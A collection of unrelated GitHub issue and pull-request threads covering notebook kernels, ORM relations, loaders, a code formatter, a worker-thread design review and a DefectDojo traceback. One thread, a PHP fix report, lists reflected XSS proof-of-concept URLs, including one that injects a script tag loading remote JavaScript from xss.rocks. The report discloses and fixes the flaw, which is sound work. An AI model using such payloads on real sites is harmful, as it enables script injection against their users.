Can't change kernel to pwsh after moving from csharp to fsharp

Go to default Csharp kernel.
Change to go to Fsharp kernel
Try to change to Pwsh kernel it does not work
you can go to csharp kernel and can go to pwsh kernel thou

It looks like it did change to pwsh. What were you expecting to see?

I was expecting change in kernel from fsharp kernel as well , it is working from fsharp kernel.

Oh, I see. I followed your repro steps and it worked fine for me so I missed the obvious in your screen shot.
I'm using 0.1.30 where it seems like this works as you expect. What version are you using?

This was issue in 0.1.11 , sorry , should have mentioned it , but it is working fine in 0.1.35, so closing it. thanks


@ashfurrow => [ArtworkView] Fix crash when changing orientation during sign-in.

Fixes #494

I should probably create a reduction sample and file a radar, but our release is more important atm.

cray

👏🎉👍💥☕😻🍰🎀

Woohoo, confetti-coffee-cake-cat combo multiplier!


Allow calling a static provider method without instantiation

Fixes gh-1130
@mybatis/committers
Please review this.

It looks good to me. Thank you @kazuki43zoo !

@harawata Thanks for your review!

Well done kazuki43zoo : a good implementation for calling a static provider ;)


Migrate to .NET 6

I'm waiting for the GitHub Actions hosted runners to use the Windows Server 2022 runner image as windows-latest.

Changed my mind. I've already started using windows-2022.


Relationship: Many-to-many (self relation)

Discussed in https://github.com/CodeDredd/pinia-orm/discussions/1443

Originally posted by adm-bome July  5, 2023
I hope i'm explaining this correctly
We have a model called Client.
A client can have multiple retailers (which are also clients).
A client can have multiple suppliers (which are also clients, defined if a client has retailers)
So a Client has one or many retailers, which then result in one ore more suppliers for a client.

Also known as a:  Many-to-many self relation

// Intermediate Model
export default class ClientRetailer extends Model {
  static entity = 'client_retailers'

  static primaryKey = ['retailerId', 'supplierId']

  static fields () {
    return {
      supplierId: this.number(null),
      retailerId: this.number(null),
      retailerCode: this.string(null)
    }
  }
}

// Client Model
export default class Client extends Model {
  static entity = 'clients'

  static fields () {
    return {
      id: this.number(0),
      name: this.string(null),
      retailers: this.belongsToMany(Client, ClientRetailer, 'supplierId', 'retailerId')

    }
  }
}

Now for the funky part...

Now we want to look up the inverse of this relationship.
So when we have a Client which is actually a retailer. We want to look up all suppliers this client/retailer has.
So we defined the inverse relation for retailers.
// Client Model
export default class Client extends Model {
  static entity = 'clients'

  static fields () {
    return {
      id: this.number(0),
      name: this.string(null),
      retailers: this.belongsToMany(Client, ClientRetailer, 'supplierId', 'retailerId'),
      suppliers: this.belongsToMany(Client, ClientRetailer, 'retailerId', 'supplierId')
    }
  }
}

The result:
Meshed-up data and primarykey in the ClientRetailer. So we can't determine the relations anymore.
// data stored/saved into a Client
const rawData = [
  {
    "id": 1,
    "name": "Client 1",
    "retailers": [
      {
        "id": 16,
        "name": "Client 16",
        "pivot": {
          "retailer_code": '555'
        }
      },
      {
        "id": 18,
        "name": "Client 18",
        "pivot": {
          "retailer_code": '666'
        }
      }
    ]
  }
]

useRepo(ClientRepository).save(rawData)

What are we missing?
Is this even posible?

Also tryed the following as a intermediate model.
The result is some what different, but still no luck.
export default class ClientRetailer extends Model {
  static entity = 'client_retailers'

  static fields () {
    return {
      id: this.uid(),
      supplierId: this.number(null),
      retailerId: this.number(null),
      retailerCode: this.string(null)
    }
  }
}

@adm-bome This seems to be fixed with the latest version. Tried out on an test. If not please reopen it.

ok i found out that everything works fine. You got an typo. One time you use "retailerCode" and in the rawData "retailer_code". I already wondered why it is not saved.

i found out that everything works fine. You got an typo. One time you use "retailerCode" and in the rawData "retailer_code".

My issue was not the retailerCode or retailer_code.
The issue was/is that supplier and retailer are the same and should be different.

The index should be [1,16] not [16,16]

Also then de retailerId and supplierId should be different in this case.

The supplierId: 1 and retailerId: 16


Add ability to specify mimetype-specific encoding strategy

Hi @sokra!
Thanks for the great loader.
Default loader behaviour is to encode source and return Data URI. But for SVG is no necessary to encode source in base64, because it works with raw content encoded with encodeURIComponent. Moreover it will decrease ~30% of content length and save browser resources for unpacking base64 string. My suggestion is to add user defined handlers to specific mime-type, something like this:
{
  module: {
    loaders: [
      {
        test: /\.(jpg|png|gif|svg)$/
        loader: 'url?limit=10000'
      }
    ]
  },
  url: {
    handlers: {
      'image/svg+xml': function (content) {
        return 'data:image/svg+xml,' + encodeURIComponent(content);
      }
    }
  }
}

For backward compatibility option can be disabled by default. For details please take a look at my advanced-url-loader which based on url-loader. I can make a PR, if you agree. Also I want be a volunteer and cover all existing loader code with tests. And close some issues.

IE has issues with Base64 encoded data URIs, so I'm having problems related to this also. But I'm not sure it even needs to be as complicated as you suggest. A simple option to toggle using URL-encoded plaintext instead of Base64 encoding should be sufficient. Those are the only valid way to encode data URIs anyway (see http://codepen.io/tigt/post/optimizing-svgs-in-data-uris). Then you could just do something like:
loaders: [{
    test: /\.(svg)$/,
    loader: 'url?limit=10000&encoding=url'
}, {
   test: /\.(png)$/,
   loader: 'url?limit=10000&encoding=base64'
}]

@joekrill good suggestion

@kisenka Sry for the delay are you still interested in a solution here ? @joekrill's comment sounds promising (add options to set encoding)

@kisenka @joekrill PR highly welcome after #70 lands 😛

#28 needs to be reworked (WIP)


slurp each earmark line, but not whole paragraph

If the whole earmarked paragraph is removed, it is not possible to write dense doc markup without a separating empty line. Strip each earmarked line but convert the extra lines into a paragraph of the block.
How to benefit from multiple earmarks? Maybe aliases could be marked this way. If there is multiple adjacent earmarked lines, then the first one becomes primary one and the other become aliases.
In alphabetically ordered lists, alias docs can be created to both under the primary one and at their alphabetical placement.

The dense markup seems to be already enabled in v1.0.1. Multiple call signatures are not. Inspecting...


Vowel Counter in Python

Python code to count number of vowels in a word .
Add the code in the Python folder.

Assign me on this.


[Tech Debt]: Create cassettes for external API calls in pytest

Provide a clear and concise description of what you want to happen.
PR #1328 adds pytest-recordings to our API tests which stores external API responses within "cassettes" in the codebase. These cassettes can then be used by other developers and in CI to create a more stable test environment (with the added benefits of not needing to share API keys).
We should apply these cassettes to more services as soon as PR #1328 is merged.
Is there anything else you can add about the proposal? You might want to link to related issues here, if you haven't already.
This is relevant to the problem we're in addressing in https://github.com/WFP-VAM/prism-app/pull/1346

Heads up @wadhwamatic and @ericboucher, I've created this ticket to address after the Google Floods work is merged. Please let me know if you have any thoughts

I don't really know what this means tbh so leave it to @ericboucher to give his feedback


#250 Feature:implemented a footer

Implemented a footer for creating social icons.
(Write your answer here.)
Checklist

[x] I am making a proper pull request, not spam.
[x] I've checked the issue list before deciding what to submit.

Which width and height do i change....icons or background?

Please review my code again i have updated the code using "amend" in the same commit.

@shreyanka155 all good but the icons background color doesn't change on hover

Will fix the issue within today .....

Fixed the issue,please check again.Let me know if further changes required.

Code updated and colour removed.Please check.


Add support for specifying ENV vars in Info.plist

Multi-OS Engine will now look for the MOE.Env key in Info.plist, which's value is a Dictionary. In that dictionary the key will be the environmental variable's name and the value (type String) the value.


Improve cops by using TopLevelGroup

The previously used TopLevelDescribe suffered a few flaws:

it was slow: https://github.com/rubocop-hq/rubocop-rspec/pull/925#discussion_r436988718
it ignored non-describe top-level example groups https://github.com/rubocop-hq/rubocop-rspec/pull/925#issuecomment-641140259

This pull request fixes those problems by using a newly introduced TopLevelGroup.
Also fixes a flaw in TopLevelGroup when example groups wrapped inside module or class were missed.
NOT DONE: I'm on the fence if we should deprecate TopLevelDescribe before removing it. We most probably don't have much releases left before 2.0, and the majority of people will jump straight to 2.0 skipping that pre-2.0 release. We may add this pull request (and others that replace usages of TopLevelDescribe for TopLevelGroup) as reference examples for migration.
Fixes #948

Before submitting the PR make sure the following are checked:

[x] Feature branch is up-to-date with master (if not - rebase it).
[x] Squashed related commits together.
[x] Added tests.
[x] Updated documentation.
[x] Added an entry to the CHANGELOG.md if the new code introduces user-observable changes.
[x] The build (bundle exec rake) passes (be sure to run this locally, since it may produce updated documentation that you will need to commit).

Ping @bquorning @Darhazer

Simplified TopLevelGroup by introducing dummy methods.
I've removed TopLevelGroup's checks if those methods exist in the including class, since of TopLevelGroup is included, that means that one of those methods is overridden. Hence, we can use dummy methods and call them instead of checking if they exist in the consumer.

@bquorning @Darhazer ping

Loud thinking
describe Weather do
  let(:temp) { 20.celsius }
  context "when it's warm" do
    let(:temp) { 30.celsius } # <== should it count as an additional `let`, or should it collapse with an existing one?

Loud thinking
describe Weather do
  let(:temp) { 20.celsius }
  context "when it's warm" do
    let(:temp) { 30.celsius } # <== should it count as an additional `let`, or should it collapse with an existing one?

I assumed it was one. It makes even less sense to me to count the repeated let.


Update migrating-from-0.x.md

Fixed 'provides' typo.

@coliff the name you used to sign CLA is different than your commit message. Sorry for the delay reviewing your PR. I'm landing it myself mentioning you found this issue.
Thanks for your contribution and looking forward to seeing others. :)


Multi-Value Return Types

wasm3 seems to support multi-value, but Module::find_function only accepts WasmType return types.
Is this just a matter of updating the function signature and some glue, or is there some blocker due to the the wasm3 C api?

That might be because when this wrapper was written, multi-value return types weren't yet supported I think

Alright, I'll look into opening a PR.
Seems like the only bigger task is updating the macros.


retrieve defined opencl error codes

Do this at init. Also, add tests

Does this work @geohot ?

I'm trying to solve the gpu test error


Make 'Pound Sterling' Currency more readable

Either we can just rename it to something like "Great Britain Pound" or add something (GBP) to the name.
See https://github.com/NAVCoin/NavPay/issues/41#issuecomment-341564925

done


Jest codemods preparation

This is the first part of migrating to Jest:

remove commented out tests (Jest doesn't like these, and they can always be removed from git if you need them)
fix tests that contains no assertions (Jest found this...)

The rest of the migration to Jest should be done by jest-codemods, I'm working on that.

Codecov Report

Merging #3400 into master will not change coverage.
The diff coverage is n/a.

@@          Coverage Diff           @@
##           master   #3400   +/-   ##
======================================
  Coverage     100%    100%
======================================
  Files          68      68
  Lines        1529    1529
======================================
  Hits         1529    1529

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 1965475...b763063. Read the comment docs.

@erikras a bit of preparation that can be merged before I'm migrating to Jest.

Does this negate all the work I put into the jest branch?

Here I'm going for automating most of the changes, so the next person doesn't need all that work.
I might be that some of the changes you did Anine transferred. : )

Replaced by https://github.com/erikras/redux-form/pull/3413/


Unformatted comment spans add extra newline

script;

// use statements
use std::*;

formats into:
script;

// use statements
use std::*;

Each additional format call adds more extra newlines
2nd format:
script;

// use statements
use std::*;

Ref #2669

Re-opening as #2692 doesn't seem to have quite fixed the issues with the examples just yet.
Specifically, a few of the examples are still having issues with extra whitespace being inserted on each successive re-format. As mentioned in @eureka-cpu's OP, this only appears to occur if the whitespace is followed by a comment. cc @kayagokalp

script;

use std::assert::assert;

struct Foo {
    f1: u32,
    f2: b256,
}

fn main() {
    // Array of integers with type ascription
    let array_of_integers: [u8;
    5] = [1, 2, 3, 4, 5];

    // Array of strings
    let array_of_strings = [ "Bob", "Jan", "Ron", ];

    // Array of structs
    let array_of_structs: [Foo;
    2] = [Foo {
        f1: 11, f2: 0x1111111111111111111111111111111111111111111111111111111111111111,
    },
    Foo {
        f1: 22, f2: 0x2222222222222222222222222222222222222222222222222222222222222222,
    },
    ];

    // Accessing an element of an array
    let array_of_bools: [bool;
    2] = [true, false];
    assert(array_of_bools[0]);
}

is formatting to:
script;

use std::assert::assert;

struct Foo {
    f1: u32,
    f2: b256,
}

fn main() {
    // Array of integers with type ascription
    let array_of_integers: [u8; 5] = [1, 2, 3, 4, 5];

    // Array of strings
    let array_of_strings = [
        "Bob",
        "Jan",
        "Ron",
    ];

    // Array of structs
    let array_of_structs: [Foo; 2] = [
        Foo {
            f1: 11,
            f2: 0x1111111111111111111111111111111111111111111111111111111111111111,
        },
        Foo {
            f1: 22,
            f2: 0x2222222222222222222222222222222222222222222222222222222222222222,
        },
    ];

    // Accessing an element of an array
    let array_of_bools: [bool; 2] = [true, false];
    assert(array_of_bools[0]);
}

Looks like it's just adding one too many now

Tried this:
fn format_comment(comment: &Comment) -> String {
    let mut comment_str = comment.span().str();
    if comment_str.starts_with('\n') {
        comment_str.remove(0);
    }
    comment_str
}

but it didn't fix it, possibly not the comment itself then?

A println of the formatted code before handle_newlines() but after handle_comments() looks like:
script;
use std::assert::assert;
struct Foo {
    f1: u32,
    f2: b256,
}
fn main() {
    // Array of integers with type ascription
    let array_of_integers: [u8; 5] = [1, 2, 3, 4, 5];

    // Array of strings
    let array_of_strings = [
        "Bob",
        "Jan",
        "Ron",
    ];

    // Array of structs
    let array_of_structs: [Foo; 2] = [
        Foo {
            f1: 11,
            f2: 0x1111111111111111111111111111111111111111111111111111111111111111,
        },
        Foo {
            f1: 22,
            f2: 0x2222222222222222222222222222222222222222222222222222222222222222,
        },
    ];

    // Accessing an element of an array
    let array_of_bools: [bool; 2] = [true, false];
    assert(array_of_bools[0]);
}

so it does seem to be the comments that have the newline

The spans of the comments look fine though... 🤔
[swayfmt/src/utils/map/comments.rs:233] comment.span().str() = "// Array of integers with type ascription"
[swayfmt/src/utils/map/comments.rs:233] comment.span().str() = "// Array of strings"
[swayfmt/src/utils/map/comments.rs:233] comment.span().str() = "// Array of structs"
[swayfmt/src/utils/map/comments.rs:233] comment.span().str() = "// Accessing an element of an array"

Looks like the problem is happening during format_context(), this is the result of the context + comment span:
"
    // Array of integers with type ascription"
"

    // Array of strings"
"

    // Array of structs"
"

    // Accessing an element of an array"

I added a quick fix in #1516 just so that the PR can get an approval but it looks like a more robust method is needed. Instances where you do want newlines between comments end up looking like:
///////////
// comment block
///////////
// this is another comment why no newline
/// doc comment that was supposed to have newline before it

I think part of the problem is the interaction between comment and newline handling still

Closing this in favor of #2790


Possibility to manually add games multiple times

This would be useful to manage modded instances or different versions of the same game. This would also require the different instances to be shown seperately in the games list (e.g. with custom names).

Having multiple copies of the same game for the same platform is against our current architecture. I'd rather see this as different launch options for the same game (#52).


There is published documentation on managing Conjur configuration in a Kubernetes cluster

User Story
As a Kubernetes operator
I want detailed documentation for cluster and namespace configuration
So that I can easily read Conjur’s Helm charts and/or incorporate it into my organization’s existing manifests.
Additional Details

This needs to include both key/values names, as well the location of configuration in the cluster.

Implementation/Solution Notes

Closing; wrong repo.


Fix missing tags in dataset cards

Fix missing tags in dataset cards.
This PR partially fixes the missing tags in dataset cards. Subsequent PRs will follow to complete this task.
Related to:

#4833
#4891
#4896
#4908
#4921

The docs for this PR live here. All of your documentation changes will be reflected on that endpoint.


[new unit&bullet] Fallen Angel and Assassin with their special bullet

create a new tank "Fallen Angel", and according to my test it works well.

I wish my tank can be merged to main.

add new unit Assassin to solve #406 when solve #407 the bullet of it may have a change.

add two bullet for the two units and optimize them make them more completed.

the bullet hand sword is finished by @zhang-br22, the another part is finished by @su040202.

#405


Fixed an XSS vulnerability and 'Undefined index' error for 'theme' GET parameter

I was encountering a minor PHP Error when not provided a theme parameter in the URL:
Notice: Undefined index: theme in /php/swmp.php on line 77
I'm using Nginx and PHP7.0-fpm on a debian machine, this quick fix resolves the problem for me.
After digging a little further, I discovered that the theme GET parameter was directly used in the HTML output, which results in an XSS vulnerability when you feed HTML tags into the theme param, quick example:

Here are some URLs you can try out yourself:

http://[your_url]/?theme=test
This results in no CSS theme being applied to the page because there is no CSS file called test.css
http://[your_url]/?theme=%22%3E%3Ch1%3EHELLO%20This%20is%20pretty%20dangerous%3C/h1%3E
This allows injecting a big H1 message above all page content (demonstrated in screenshot above)
http://[your_url]/?theme=%22%3E%3Cscript%20src=%22http://xss.rocks/xss.js%22%3E%3C/script%3E
Injecting remove Javascript files into the page (suprisingly, Chrome blocks this with their "XSS Auditor")

I fixed this vulnerability by first checking if the CSS file actually exists in the css/themes folder. If the file doesn't exist, we stick to the default $config['theme'].

Thanks for spotting this! I have merged. :)


Support for region flag to call STS regional endpoints

Can we add a region flag to return credentials for a specific region i.e. AWS opt-in regions? The session token returned by this solution will not allow an assume-role with region set to af-south-1 or ap-east-1. The AWS documentation below explains why certain regions would not work with the global STS endpoint and associated session token that gets returned.
https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_enable-regions.html

Seems helpful, anything you're interested in PRing?

Would this solve your issue: https://github.com/credful/aws-credful/pull/41 ?


"$" in markdown is busted

The following markdown will get wrecked when Kobweb tries to convert it to Kotlin
 Uh oh: $test

 ```
 also dollars
 in code blocks like
 $test
 also cause major issues
 ```

We should substitute out those dollar signs, but not ones in {{{ ... }}} blocks.

Will be fixed in 0.9.15


task: make worker thread OS agnostic

(the number of executed WORKER_FUNC calls is <= number of worker_thread_schedule_process calls made ) */

I do not understand this note...

Refers to: devdoc/worker_thread_requirements.md:13 in b044c02. [](commit_id = b044c0297dd29e5da79598b0f89075ffe4cdefed, deletion_comment = False)

SRS_WORKER_THREAD_01_028: [ worker_thread_open shall start a worker_thread thread that will call worker_func by calling ThreadAPI_Create. ]

We could/should use here a THREADPOOL. Otherwise we create a thread for... waiting idle most of the time.
./consider

Refers to: devdoc/worker_thread_requirements.md:80 in b044c02. [](commit_id = b044c0297dd29e5da79598b0f89075ffe4cdefed, deletion_comment = False)

Overview

404 threading model not found (seems to be a case of threaded module, but should be explicitly stated so).

Refers to: devdoc/worker_thread_requirements.md:3 in b044c02. [](commit_id = b044c0297dd29e5da79598b0f89075ffe4cdefed, deletion_comment = False)

Overview

404 reentrancy model not found.
can worker_func from line 25 call worker_thread_schedule_process? would that result in

execution
stack overflow
none of the above

can worker_func from line 25 call worker_thread_close or worker_thread_destroy?

Refers to: devdoc/worker_thread_requirements.md:3 in b044c02. [](commit_id = b044c0297dd29e5da79598b0f89075ffe4cdefed, deletion_comment = False)

SRS_WORKER_THREAD_01_039: [ If the worker thread is open, worker_thread_destroy shall perform a close. ]

If the thread is created with ThreadAPI_Create (line 89) then we should say explicitly what's the function that "closes".

Refers to: devdoc/worker_thread_requirements.md:64 in b044c02. [](commit_id = b044c0297dd29e5da79598b0f89075ffe4cdefed, deletion_comment = False)

SRS_WORKER_THREAD_01_039: [ If the worker thread is open, worker_thread_destroy shall perform a close. ]

aaaaahm, here you mean worker_thread_close, got it.

In reply to:<PHONE_NUMBER>

Refers to: devdoc/worker_thread_requirements.md:64 in b044c02. [](commit_id = b044c0297dd29e5da79598b0f89075ffe4cdefed, deletion_comment = False)

typedef void(*WORKER_FUNC)(void* worker_func_context);

why is this not THREAD_START_FUNC?

Refers to: devdoc/worker_thread_requirements.md:14 in b044c02. [](commit_id = b044c0297dd29e5da79598b0f89075ffe4cdefed, deletion_comment = False)

MOCKABLE_FUNCTION(, WORKER_THREAD_HANDLE, worker_thread_create, WORKER_FUNC, worker_func, void*, worker_func_context);

How does WORKER_FUNC return if it failed somehow? How does the user that calls worker_thread_schedule_process know if the function was executed (and with what result?) or the design here is that "result" is passed through worker_func_context back to the caller?

Refers to: devdoc/worker_thread_requirements.md:25 in b044c02. [](commit_id = b044c0297dd29e5da79598b0f89075ffe4cdefed, deletion_comment = False)

(the number of executed WORKER_FUNC calls is <= number of worker_thread_schedule_process calls made ) */

I believe this is stating that if you call worker_thread_schedule_process while WORKER_FUNC is running, it may not schedule that thread due to the signal not being sent.  That is no longer an issue, I will remove.

In reply to:<PHONE_NUMBER>

Refers to: devdoc/worker_thread_requirements.md:13 in f1fcb0d. [](commit_id = f1fcb0dc84d22ebe1e6b81802844b1a25d39b1b1, deletion_comment = False)

typedef void(*WORKER_FUNC)(void* worker_func_context);

These question are out of scope for this PR, but I would guess that because THREAD_START_FUNC is for threading, this is slightly different since this is a worker thread and you want to differentiate this a little, hence giving it a different name.

In reply to:<PHONE_NUMBER>

Refers to: devdoc/worker_thread_requirements.md:14 in f1fcb0d. [](commit_id = f1fcb0dc84d22ebe1e6b81802844b1a25d39b1b1, deletion_comment = False)

SRS_WORKER_THREAD_01_028: [ worker_thread_open shall start a worker_thread thread that will call worker_func by calling ThreadAPI_Create. ]

I like that change.

In reply to:<PHONE_NUMBER>

Refers to: devdoc/worker_thread_requirements.md:80 in f1fcb0d. [](commit_id = f1fcb0dc84d22ebe1e6b81802844b1a25d39b1b1, deletion_comment = False)

SRS_WORKER_THREAD_01_039: [ If the worker thread is open, worker_thread_destroy shall perform a close. ]

I'm not sure what meant here, I'm guessing you are correct.

In reply to:<PHONE_NUMBER>

Refers to: devdoc/worker_thread_requirements.md:64 in f1fcb0d. [](commit_id = f1fcb0dc84d22ebe1e6b81802844b1a25d39b1b1, deletion_comment = False)

SRS_WORKER_THREAD_01_034: [ worker_thread_close shall signal the thread shutdown event in order to indicate that the thread shall shutdown. ]

But... this is not event driven anymore. Seems to look at the mysterious "module state"

Refers to: devdoc/worker_thread_requirements.md:102 in b044c02. [](commit_id = b044c0297dd29e5da79598b0f89075ffe4cdefed, deletion_comment = False)

MOCKABLE_FUNCTION(, WORKER_THREAD_HANDLE, worker_thread_create, WORKER_FUNC, worker_func, void*, worker_func_context);

The only way for WORKER_FUNC to fail is for it not to get scheduled and that case worker_thread_schedule_process shall fail.  Besides that there is nothing that can fail in WORKER_FUNC and I'm guessing that is by design.

In reply to:<PHONE_NUMBER>

Refers to: devdoc/worker_thread_requirements.md:25 in f1fcb0d. [](commit_id = f1fcb0dc84d22ebe1e6b81802844b1a25d39b1b1, deletion_comment = False)

SRS_WORKER_THREAD_01_034: [ worker_thread_close shall signal the thread shutdown event in order to indicate that the thread shall shutdown. ]

I'll change this to say the state.

In reply to:<PHONE_NUMBER>

Refers to: devdoc/worker_thread_requirements.md:102 in f1fcb0d. [](commit_id = f1fcb0dc84d22ebe1e6b81802844b1a25d39b1b1, deletion_comment = False)

        LogError("Cannot allocate memory for BS worker thread");

wouold be nice if the API would take an optional RC_STRING that would contain some "thread_name" just so we know which one of the many worker threads failed...

Refers to: src/worker_thread.c:92 in b044c02. [](commit_id = b044c0297dd29e5da79598b0f89075ffe4cdefed, deletion_comment = False)

sm_close_end(worker_thread->sm);

the fact that sm_close_end has its sm_close_begin in 2!!! different places in the SW makes it really difficult to track.
Note: line 150 and line 214.
If at all possible (and I suspect it is) we should keep begin/ends in the same function.

Refers to: src/worker_thread.c:135 in b044c02. [](commit_id = b044c0297dd29e5da79598b0f89075ffe4cdefed, deletion_comment = False)

END_TEST_SUITE(TEST_SUITE_NAME_FROM_CMAKE)

will be waiting because I think the semantics are not clear.

Refers to: tests/worker_thread_ut/worker_thread_ut.c:635 in b044c02. [](commit_id = b044c0297dd29e5da79598b0f89075ffe4cdefed, deletion_comment = False)

sm_close_end(worker_thread->sm);

Yeah, that was inherited, so I'll move it.

In reply to:<PHONE_NUMBER>

Refers to: src/worker_thread.c:135 in f1fcb0d. [](commit_id = f1fcb0dc84d22ebe1e6b81802844b1a25d39b1b1, deletion_comment = False)

        LogError("Cannot allocate memory for BS worker thread");

/considering.  If I do I'll create a new PR, because of the changes that would entail.

In reply to:<PHONE_NUMBER>

Refers to: src/worker_thread.c:92 in f1fcb0d. [](commit_id = f1fcb0dc84d22ebe1e6b81802844b1a25d39b1b1, deletion_comment = False)

SRS_WORKER_THREAD_01_028: [ worker_thread_open shall start a worker_thread thread that will call worker_func by calling ThreadAPI_Create. ]

After looking at this, it only requires 1 thread to be created and it doesn't destroy the thread till the module is complete, so having a threadpool thread would not make any sense in having this.

In reply to:<PHONE_NUMBER>

Refers to: devdoc/worker_thread_requirements.md:80 in f1fcb0d. [](commit_id = f1fcb0dc84d22ebe1e6b81802844b1a25d39b1b1, deletion_comment = False)


allow new rspec 3.5.0.beta1 in gemspec

If you want to use the beta version I would recommend pointing your bundler at that branch. I don't want to merge something that allows a beta version. We'll test it out once 3.5 comes out officially.

Alright.
Am 23.02.2016 6:00 nachm. schrieb "Eric Oestrich"<EMAIL_ADDRESS>
:

Closed #268 https://github.com/zipmark/rspec_api_documentation/pull/268.
—
Reply to this email directly or view it on GitHub
https://github.com/zipmark/rspec_api_documentation/pull/268#event-561974178
.


Valid ranges do not work

When you enter [2000, 2000], isCoordinates returns true.  The valid ranges for lat and lng do not appear to be working correctly.

Apologies.  I misunderstood the validation options in your README. Closing!

You do raise a good point, I'm not sure why I chose to default validate to false and why validation is even optional 🤔

Well then I'm glad I was able to help!  Luckily, it's pretty easy to fix!


Can't delete group

Bug description
Can't delete group
Steps to reproduce
Steps to reproduce the behavior:

Create new group
Add member
Delete group -> Error

Deployment method (select with an X)

[X] Docker Compose

Environment information

Operating System: Red Hat Enterprise Linux version 8.5 (Ootpa)
DefectDojo version: v2.29.1
Logs

django-defectdojo-master-uwsgi-1  | [11/Jan/2024 08:13:58] INFO [django.request:241] OK: /group/2/delete
django-defectdojo-master-uwsgi-1  | Traceback (most recent call last):
django-defectdojo-master-uwsgi-1  |   File "/usr/local/lib/python3.11/site-packages/django/db/backends/utils.py", line 89, in _execute
django-defectdojo-master-uwsgi-1  |     return self.cursor.execute(sql, params)
django-defectdojo-master-uwsgi-1  |            ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
django-defectdojo-master-uwsgi-1  | psycopg2.errors.UndefinedColumn: column dojo_system_settings.enable_auditlog does not exist
django-defectdojo-master-uwsgi-1  | LINE 1: SELECT "dojo_system_settings"."id", "dojo_system_settings"."...
django-defectdojo-master-uwsgi-1  |                                             ^
django-defectdojo-master-uwsgi-1  |
django-defectdojo-master-uwsgi-1  |
django-defectdojo-master-uwsgi-1  | The above exception was the direct cause of the following exception:
django-defectdojo-master-uwsgi-1  |
django-defectdojo-master-uwsgi-1  | Traceback (most recent call last):
django-defectdojo-master-uwsgi-1  |   File "/usr/local/lib/python3.11/site-packages/django/core/handlers/exception.py", line 56, in inner
django-defectdojo-master-uwsgi-1  |     response = get_response(request)
django-defectdojo-master-uwsgi-1  |                ^^^^^^^^^^^^^^^^^^^^^
django-defectdojo-master-uwsgi-1  |   File "/usr/local/lib/python3.11/site-packages/django/core/handlers/base.py", line 197, in _get_response
django-defectdojo-master-uwsgi-1  |     response = wrapped_callback(request, *callback_args, **callback_kwargs)
django-defectdojo-master-uwsgi-1  |                ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
django-defectdojo-master-uwsgi-1  |   File "/usr/local/lib/python3.11/site-packages/django/views/generic/base.py", line 103, in view
django-defectdojo-master-uwsgi-1  |     return self.dispatch(request, *args, **kwargs)
django-defectdojo-master-uwsgi-1  |            ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
django-defectdojo-master-uwsgi-1  |   File "/usr/local/lib/python3.11/site-packages/django/views/generic/base.py", line 142, in dispatch
django-defectdojo-master-uwsgi-1  |     return handler(request, *args, **kwargs)
django-defectdojo-master-uwsgi-1  |            ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
django-defectdojo-master-uwsgi-1  |   File "/app/dojo/group/views.py", line 265, in get
django-defectdojo-master-uwsgi-1  |     context = self.get_initial_context(request, group)
django-defectdojo-master-uwsgi-1  |               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
django-defectdojo-master-uwsgi-1  |   File "/app/dojo/group/views.py", line 227, in get_initial_context
django-defectdojo-master-uwsgi-1  |     collector.collect([group])
django-defectdojo-master-uwsgi-1  |   File "/usr/local/lib/python3.11/site-packages/django/contrib/admin/utils.py", line 186, in collect
django-defectdojo-master-uwsgi-1  |     return super().collect(objs, source_attr=source_attr, **kwargs)
django-defectdojo-master-uwsgi-1  |            ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
django-defectdojo-master-uwsgi-1  |   File "/usr/local/lib/python3.11/site-packages/django/db/models/deletion.py", line 343, in collect
django-defectdojo-master-uwsgi-1  |     if sub_objs:
django-defectdojo-master-uwsgi-1  |   File "/usr/local/lib/python3.11/site-packages/django/db/models/query.py", line 408, in __bool__
django-defectdojo-master-uwsgi-1  |     self._fetch_all()
django-defectdojo-master-uwsgi-1  |   File "/usr/local/lib/python3.11/site-packages/django/db/models/query.py", line 1867, in _fetch_all
django-defectdojo-master-uwsgi-1  |     self._result_cache = list(self._iterable_class(self))
django-defectdojo-master-uwsgi-1  |                          ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
django-defectdojo-master-uwsgi-1  |   File "/usr/local/lib/python3.11/site-packages/django/db/models/query.py", line 87, in __iter__
django-defectdojo-master-uwsgi-1  |     results = compiler.execute_sql(
django-defectdojo-master-uwsgi-1  |               ^^^^^^^^^^^^^^^^^^^^^
django-defectdojo-master-uwsgi-1  |   File "/usr/local/lib/python3.11/site-packages/django/db/models/sql/compiler.py", line 1398, in execute_sql
django-defectdojo-master-uwsgi-1  |     cursor.execute(sql, params)
django-defectdojo-master-uwsgi-1  |   File "/usr/local/lib/python3.11/site-packages/django/db/backends/utils.py", line 67, in execute
django-defectdojo-master-uwsgi-1  |     return self._execute_with_wrappers(
django-defectdojo-master-uwsgi-1  |            ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
django-defectdojo-master-uwsgi-1  |   File "/usr/local/lib/python3.11/site-packages/django/db/backends/utils.py", line 80, in _execute_with_wrappers
django-defectdojo-master-uwsgi-1  |     return executor(sql, params, many, context)
django-defectdojo-master-uwsgi-1  |            ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
django-defectdojo-master-uwsgi-1  |   File "/usr/local/lib/python3.11/site-packages/django/db/backends/utils.py", line 84, in _execute
django-defectdojo-master-uwsgi-1  |     with self.db.wrap_database_errors:
django-defectdojo-master-uwsgi-1  |   File "/usr/local/lib/python3.11/site-packages/django/db/utils.py", line 91, in __exit__
django-defectdojo-master-uwsgi-1  |     raise dj_exc_value.with_traceback(traceback) from exc_value
django-defectdojo-master-uwsgi-1  |   File "/usr/local/lib/python3.11/site-packages/django/db/backends/utils.py", line 89, in _execute
django-defectdojo-master-uwsgi-1  |     return self.cursor.execute(sql, params)
django-defectdojo-master-uwsgi-1  |            ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
django-defectdojo-master-uwsgi-1  | django.db.utils.ProgrammingError: column dojo_system_settings.enable_auditlog does not exist
